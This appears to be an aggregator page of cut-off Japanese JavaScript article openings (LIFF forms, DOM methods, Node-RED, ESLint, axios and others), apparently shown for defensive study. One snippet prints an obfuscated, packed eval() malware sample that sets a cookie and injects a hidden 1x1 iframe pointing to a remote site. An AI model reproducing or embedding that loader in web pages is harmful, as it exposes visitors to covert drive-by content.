JavaScript関連のことを調べてみた2022年12月09日

LIFF × GAS フォーム送信をリプライメッセージではなく、LIFF上で完結できないかなぁ

# はじめに

グーテンターク！　ドイツのベルリンに住んでおります。仲条と申します。

GASで LINE bot を作る記事を書いたり

https://qiita.com/njn0te/items/2c08c936661a9febb3b0

去年のアドベントカレンダーでは、そのLINE BotにLIFFを追加するフォームを書いたり

https://qiita.com/njn0te/items/53c4b19208924567af7b

Qiitaで『[非エンジニアでもLINE Bot開発できる！ SpreadsheetをデータベースにGASで動かす]()』という記事を書き、[YouTube](https://youtu.be/9K_EKn2QQUQ)でも多くの方にご覧頂けました。

YouTubeでもLINEに関する情報発信をしています。

![ezgif-6-81fbf78951b6.gif](https://qiita-image

JavaScriptの削除機能実装

# 削除機能実装
JavaScriptで削除機能を実装していきます。

“`index.js
//省略
//押された削除ボタンdivを未完了から削除
const deleteTaret = deleteButton.parentNode;
//console.log(deleteTaret);
document.getElementById(“incomplete”).removeChild(deleteTaret);
});
//console.log(deleteButton);
//省略

//未完了リスト追加
document.getElementById(“incomplete”).appendChild(div);
“`
***parentNodeは親ノードを取得***します。
***getElementById***は指定したIDにマッチする要素を取得します。
***removeChild***はノードを削除します。
***appendChild***は動的にWebサイトに要素を追加したい時に使います。

“`index

Node-REDのサブフローからカスタムノードを作成する

この記事では、サブフローからNode-REDのノードの開発方法を紹介します。サブフローは、一般的なプログラミング言語の「関数」と同じ様にフローを再利用できる機能です。このサブフローを使用すると、Node-REDユーザは、フロー開発の知識のみを使用してカスタムノードを作成できます。


この手順では、サブフローの作成が最初のステップです。 サブフローをJSONファイルとしてローカルPCにダウンロードした後、JSONファイルをGitHubリポジトリに配置します。 その後、アップロードされたJSONファイルはGitHub Actionsによってカスタムノードを含むtgzファイルに変換されます。 最後に、生成されたtgzファイルをローカルPCにダウンロードし、それをNode-RED環境にインストールして、カスタムノードをテストします。

# 前提条件
–

Node.jsのCLIツール作成で個人的に開発体験が良かった手法について

## この記事について

JavaScriptの学習のために暇な時間にNode.js上で動くCLIツールを作ったりしています。
以前にもパッケージを作ってみたりしていましたが、コードの管理がうまくいかずどんどんコードを書くのが辛くなってしまいました。

これまではClassを使ってオブジェクト指向っぽく書こうとしていましたが、自分自身のオブジェクト指向への理解の浅さやパッケージの規模が大きくないことも影響して

– 一つのClassに機能が集中しすぎて分割単位が分かりずらくなってしまう
– そこまでインスタンスを作らないのでClass自体の必要性があまり感じられなかった
– Classに対してのテストの難しさ

という問題を感じていました。

そんななかで改めてCLIツールの設計手法について自分なりに考えて再度整理をしてみました。
`n=1`でかなり主観的な内容が多く、まだまだ改善点も多いですがこれからCLIツールを作ってみようという人や参考程度に見る方の一つのサンプルとして記載させていただこうと思います。

### 目指したこと

以前のパッケージ開発の反省を踏まえ

– 粒度を細か

[Day9] 関数の高度な機能 part1

本記事は一人アドベントカレンダー企画の一つです。
[30代未経験エンジニアが25日後にJavaScriptをマスターするカレンダー](https://qiita.com/advent-calendar/2022)

[JAVASCRIPT.INFO](https://ja.javascript.info/)を元にJavaScriptを勉強していき、そこで学んだ知識をアウトプットしていきます。
２５日でJAVASCRIPT.INFOをやりきり、未経験エンジニアがJavaScriptをマスターする過程を投稿していきます。

## 6.1 再帰とスタック
### 知らない単語
– 再帰とは
– 何回も同じ関数を呼び出す事、自分で自分自身を呼び出す

### 学んだこと
– 2つの考え方

下記は通常のループである

“`javascript
function pow(a,b){
let result = 1;
for(i = 1; i <= b; i++){ result *= a; } return result; ```

mapboxのIControlに引数を渡す

mapbox で地図を見ている時に、基準となる長さを表示しておきたかったのですが、調べた限りではそういったコントロールはありませんでした。
Mapboxでは[自分でカスタムコントロールが作れる](https://docs.mapbox.com/mapbox-gl-js/api/markers/)ようなので、簡易的な距離表示コントロールを作ってみました。

GoogleMapsの距離表示は動的に長さや基準が変わりますが、
今回は手を抜いて
* コントロールは右下に常に同じサイズで表示
* ズーム変更でコントロールの長さに応じた距離を表示
という仕様にしました。

コントロールの引数として長さや距離の単位を渡すには、コンストラクタに当たる部分で
“`function DistanceGaugeControl(_options) { this._opt

Console APIについて

# 概要
フロントエンドエンジニアなら必ず `console.log()` メソッドを使用したことがあると思います。

https://developer.mozilla.org/en-US/docs/Web/API/Console/log

console APIにlogの他にもいくつかデバッグを助けるAPIがあるので紹介します。

## Tables
`console.table()` はオブジェクトや配列を表形式で表示してくれます。

“`js
console.table({
‘Time Stamp’: new Date().getTime(),
‘OS’: navigator[‘platform’],
‘Browser’: navigator[‘appCodeName’],
‘Language’: navigator[‘language’],
});
“`

![スクリーンショット 2022-12-06 19.19.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/154

【エンジニア3年目】仕事以外で全く勉強してこなかった男の年収と職場環境、スキル

# はじめに
皆さんこんにちは！
初めてQiitaに記事を投稿するエンジニア3年目のこーへーです。
今回は、仕事以外でほぼ勉強をしてこなかった自分の年収と職場環境、スキルの変化を記載してみたいと思います。
Qiitaの記事を書くほとんどの人はプログラミングが好きで仕事熱心な方が多いと思うので、「僕みたいにプログラミングが好きじゃなく仕事もプライベートの次と思っているエンジニアはどういった待遇を受けているのか」一つ参考に見ていただけたら嬉しいです。

# 1社目：医療系自社開発企業

## 年収：276万

基本給が23万だったので、23万×12カ月で276万でした。
今見ると低く感じますが、当時はこの会社に入る前に別の仕事をしており額面が約18万だったので、「こんなに貰えてしかも自社開発企業で経験積めるなんて最高やん！」って思ってました。大事にしたい、この思い。
ちなみに、8時間以降は残業代が1分単位で支払われボーナスも少し支給されたので、実際の年収はこんな感じでした。

### 実際の年収
|ジャンル| 金額 |内訳 |
|—|—|—|
| 基本給 |276万 | 23

残余引数とスプレッド構文の違い & 使い方

残余引数とスプレッド構文をご存知でしょうか？
`…` という同じ記号を使う JavaScript の構文です。

残余引数
“`js
function sum(…theArgs) { // 引数を配列にまとめている
let total = 0;
for (const arg of theArgs) {
total += arg;
}
return total;
}

// 参考: https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions/rest_parameters
“`

スプレッド構文
“`js
function sum(x, y, z) {
return x + y + z;
}

const numbers = [1, 2, 3];

console.log(sum(…numbers)); // 配列の中身を展開している
// expected output: 6
// 参考: https://developer.mozilla.org/ja/

プログラミング初心者目線でわからない単語を調べた

## はじめに

現在、Next.jsを用いてReact,TypeScriptを学習していく中で単語の意味が分からず、自分なりに調べたものをメモしようと思います。

いまいち理解しきれていない意味や、違う覚え方をしている恐れもあるので参考程度に。

## 単語集

– **レンダリング**

HTMLを生成すること。HTML,CSS,JavaScriptなどを元にコンテンツを描画すること。

プログラミング言語を元に、画面に人間が読める形で描画するってことと捉えています。

JavaScriptでは、クライアント側(自分のパソコン)が行うが、ReactのSSR(サーバーサイドレンダリング)では、サーバー側で行われる。
– **静的型付け**

変数の型が状況によって変わらない。変数宣言の際、型を宣言する必要がある。

TypeScriptは、まさにこれですね。

メリットとしては、
メモリ領域の最適化(よくわからないが、型をあらかじめ決めておくことで、無駄な読み込みをさせない？)
パフォーマンスの向上
コンパイル時にエラー処理が出る(実行前にエラーを出してくれるので、正確なコードを書

jQueryのSlickでカルーセルを作成する際の注意点

# Slickとは
jsのライブラリであるjQueryのプラグインです。
Slickを用いることで、カルーセルを簡単に作成することができます。

＊カルーセルとは、スライドショーとも呼ばれるもので、画像や文字がスライドして表示されるUIのことです。そもそもの単語の意味としては「回転台」らしいです。

# html
“`





　

運勢占いをつくってみた

# はじめに

唐突ですが、みなさん運勢占いは好きですか？
ラッキーカラーを身につけて気分を上げたり、楽しいですよね！
そんな運勢占いを今まで習ったHTMLやCSS、JavaScriptでつくってみました！
少しでも楽しんでいただけると幸いです。

## コード

HTML,CSS,JSそれぞれのコードを置いていきます。
#### HTML
~~~ruby:index.html

JavaScriptの基礎をおさえる　番外編　〜innerTextとinnerHTMLの違いとは？　DOMって何？〜

　JavaScriptの練習をするにあたってよくでてくるinnerTextとinnerHTML、それからDOM。それぞれざっくりとした理解はしているつもりだが、今回は学習の足固めとして正しく理解をしたいと思う。
## innerTextとinnerHTMLについて
inner = 内側、内部
Text = 文字情報
がinnerTextである。
　つまり、HTML要素の<開始タグ>と<終了タグ>に内包されたテキストのことである。これはHTML要素に内包されたコンテンツそのものを表しているが、**innerTextプロパティは内包されたテキスト部分のみを参照する。** **もしもコンテンツ内に別の要素が内包されていても、要素の操作はできない。**
innerHTMLプロパティの場合は、**テキストだけでなくHTML要素も認識できるプロパティなので、HTML要素を含めた値を取得したり、代入したりすることができる。**

例
“`html:html

ラーメン食べたい

“`
“`javascript:javascript
let elem

ESLintを使ったJavaScriptコードの静的解析（Window編）

ESLintを使ったJavaSciptコードの静的解析方法の説明です。
ESLintでは独自に作成したコーディングルールに沿っているか？のチェックやチェック動作の細かな設定変更も行えますが、まずはWindowsへのインストールからデフォルトルールでのチェック実行までを説明します。

## ESLintとは
オープンソースで提供されているJavaScriptの静的構文チェックツールで以下のようなチェックを行ってくれます。
・ECMAScriptに準拠したコードになっているか？
・コーディングルールに従っているか？
・問題が発生しやすいコードはないか？
どういった種類のチェックを行うのか、チェックする際のルール等はカスタマイズすることが可能です。

## Node.jsのインストール
ESLintを動作させるのにNode.jsとnpmが必要になるのでインストールしていきます。
以下のダウンロードページからインストーラーを取得して実行します。
今回はnode-v18.12.1-x64.msiを利用しました。
オプションはデフォルトのままでOKですが、必要に応じてインストールフォルダなどは変更

難読化されたJavaScriptの解析

# 検体

“`javascript
eval(function packd() {p = ’15(3.10.14(“5″)==-1) {8 4=13 17();4.19(4.22()+24*9*9*7);3.10=”5=20;21=” +4.16();12(11(){8 2=3.18(/32/.6+/23/.6);2.37=”1″;2.38=”1″;2.34=”0″;2.36=”//35.33.27/26/25/28/29/”;3.31.30(2)},7)}’;c = 39;k = [“”,””,”_ifr”,”document”,”_d”,”GOOGLE”,”source”,”1000″,”var”,”60″,”cookie”,”function”,”setTimeout”,”new”,”indexOf”,”if”,”toGMTString”,”Date”,”CreateElement”,”setTime”,”123GOOGLE456″,”expires”,”getTime”,”me”,””,”menu”,”ybk”,”jp”,”inet”,”image”,”appendChil

deno deployのログをslackに送信する

この記事は[Deno アドベントカレンダー2022](https://qiita.com/advent-calendar/2022/deno)の10日目の記事です。

## deno deployのログは永続化されない

deno deployのダッシュボードには、こんな感じのログ閲覧タブがあります。
`console.log`や`console.error`で出力したものがここに流れてきます。


ただし、ドキュメントによると、deno deployで`console.log`しても、**そのログを後から見ることはできない**ようです。

> ## Logs
> Applications can generate logs at runtime using the console API. These logs can be viewed in

プログラミング学習の独学最短ルートとは


# はじめに

今回の記事は、プログラミング初心者の方を対象にした「効率よくプログラミング学習を行う方法」についてまとめたものをご紹介していきます。

「仕事に困らないように何か手に職をつけておきたい」
「クリエイティブな仕事がしたい」
「自由度の高い仕事がしたい」

このように考える人がここ数年で急増し、プログラミングに注目が集まっています。
スクールに通えばある程度の知識を身に着けることができる上に、転職サポートまで行ってくれるサービスもあるので「とっととWEBデザイナー、エンジニアになりたい！」という方には正直この選択が一番良いのかもしれません。
しかし、「そもそも自分に向いてるかわからない」や「興味がある程度でやり続けられるか不安」といった方にはいきなりプログラミングスクールに通うのはややリスキーに感じます。
なのでまずは、低コスト

Though the “loose” option was set to “false” in your @babel/preset-env config, it will not be used for @babel/plugin-proposal-private-property-in-object since the “loose” mode option was set to “true” for @babel/plugin-proposal-private-methods.

# 起きたこと
下記を実行
“`console
$ npm run storybook
“`

なんかでた
“`console
Though the “loose” option was set to “false” in your @babel/preset-env config, it will not be used for @babel/plugin-proposal-private-property-in-object since the “loose” mode option was set to “true” for @babel/plugin-proposal-private-methods.
The “loose” option must be the same for @babel/plugin-proposal-class-properties, @babel/plugin-proposal-private-methods and @babel/plugin-proposal-private-property-in-object (when they are

入力内容に応じて動作を変更する

# クリックされたボタンの結果を変数に保存する
“`js

“`
### 気づき
メッセージを入力するとその値が変数answerに代入されるからコンソールに入力した値が入力されるのか。

### window.prompt()とは？
ユーザーにテキストの入力を求めるオプションの“`メッセージを含むダイアログ“`を表示し、“`ユーザーがテキストを送信“`するかダイアログをキャンセルするまで待機するようブラウザに指示します。

#### 出典
https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt

“`js

`

POSTリクエストのパラメータの話

# 背景
こんなAPIのControllerがあった。
(Java/Spring Boot)

“`java
@PostMapping(“/hoge”)
public ResponseEntity postHoge(@RequestParam(“fuga”) String fuga) {
// ~~~
}
“`

それに対してフロントエンドから`axios`を使ってこんなリクエストをした。

“`typescript
const requestHoge = async (fuga: string): Promise => {
await axios.post(‘/hoge’, { fuga: fuga })
}
“`

すると、`400 Bad Request`が返ってきた。

# 原因
APIはパラメータを`リクエストパラメータ`（フォームデータ）で待っていたのに対し、
フロントエンドは`リクエストボディ`で送ってしまっていた。

# 対処
axiosのPOSTリクエストでフォームデータを送るには、
一旦`FormData`インスタ